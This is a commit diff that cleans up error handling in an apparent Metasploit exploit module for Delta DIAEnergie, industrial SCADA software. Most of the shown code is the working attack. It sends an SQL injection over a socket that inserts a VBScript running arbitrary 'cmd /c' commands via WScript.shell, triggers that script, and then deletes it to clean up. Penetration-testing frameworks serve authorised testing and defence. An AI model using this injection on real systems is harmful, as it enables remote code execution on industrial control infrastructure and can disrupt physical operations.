Error handling and code cleanup

Error handling and code cleanup

Author: h4x-x0r

modules/exploits/windows/scada/diaenergie_sqli.rb

@@ -14,8 +14,8 @@ def initialize(info = {})
         },
         'License' => MSF_LICENSE,
         'Author' => [
-          'Tenable', # Discovery & PoC
           'Michael Heinzl', # MSF exploit
+          'Tenable' # Discovery & PoC
         ],
         'References' => [
           [ 'URL', 'https://www.tenable.com/security/research/tra-2024-13'],
@@ -68,6 +68,11 @@ def check
       disconnect
     end
 
+    if res.empty?
+      vprint_status('Received an empty response.')
+      return Exploit::CheckCode::Unknown
+    end
+
     vprint_status('Who is it response: ' + res.to_s)
     version_pattern = /\b\d+\.\d+\.\d+\.\d+\b/
     version = res.match(version_pattern)
@@ -78,11 +83,11 @@ def check
 
     vprint_status('Version retrieved: ' + version[0])
 
-    if Rex::Version.new(version) <= Rex::Version.new('1.10.1.8610')
-      return CheckCode::Appears
-    else
+    unless Rex::Version.new(version) <= Rex::Version.new('1.10.1.8610')
       return CheckCode::Safe
     end
+
+    return CheckCode::Appears
   end
 
   def exploit
@@ -112,23 +117,23 @@ def execute_command(cmd)
       vprint_status("RecalculateHDMWYC~#{random_date} #{random_time}~#{random_date} #{random_time}~1);INSERT INTO DIAEnergie.dbo.DIAE_script (name, script, kid, cm) VALUES(N'#{scname}', N'CreateObject(\"WScript.shell\").run(\"cmd /c #{cmd}\")', N'', N'');--")
       sock.put "RecalculateHDMWYC~#{random_date} #{random_time}~#{random_date} #{random_time}~1);INSERT INTO DIAEnergie.dbo.DIAE_script (name, script, kid, cm) VALUES(N'#{scname}', N'CreateObject(\"WScript.shell\").run(\"cmd /c #{cmd}\")', N'', N'');--"
       res = sock.get
-      if res.to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.'
-        vprint_status('Injection - Expected response received: ' + res.to_s)
-      else
+      unless res.to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.'
         fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s)
       end
+
+      vprint_status('Injection - Expected response received: ' + res.to_s)
       disconnect
 
       # Trigger
       print_status('Triggering script execution...')
       connect
       sock.put "RecalculateScript~#{random_date} #{random_time}~#{random_date} #{random_time}~1"
       res = sock.get
-      if res.to_s == 'Recalculate Script Start!'
-        vprint_status('Trigger - Expected response received: ' + res.to_s)
-      else
+      unless res.to_s == 'Recalculate Script Start!'
         fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s)
       end
+      vprint_status('Trigger - Expected response received: ' + res.to_s)
+
       disconnect
 
       print_good('Script successfully injected, check thy shell.')
@@ -138,11 +143,11 @@ def execute_command(cmd)
       connect
       sock.put "RecalculateHDMWYC~2024-02-04 00:00:00~2024-02-05 00:00:00~1);DELETE FROM DIAEnergie.dbo.DIAE_script WHERE name='#{scname}';--"
       res = sock.get
-      if res.to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.'
-        vprint_status('Cleanup - Expected response received: ' + res.to_s)
-      else
+      unless res.to_s == 'RecalculateHDMWYC Fail! The expression has too many closing parentheses.'
         fail_with(Failure::UnexpectedReply, 'Unexpected reply from the server received: ' + res.to_s)
       end
+      vprint_status('Cleanup - Expected response received: ' + res.to_s)
+
       disconnect
     end
   end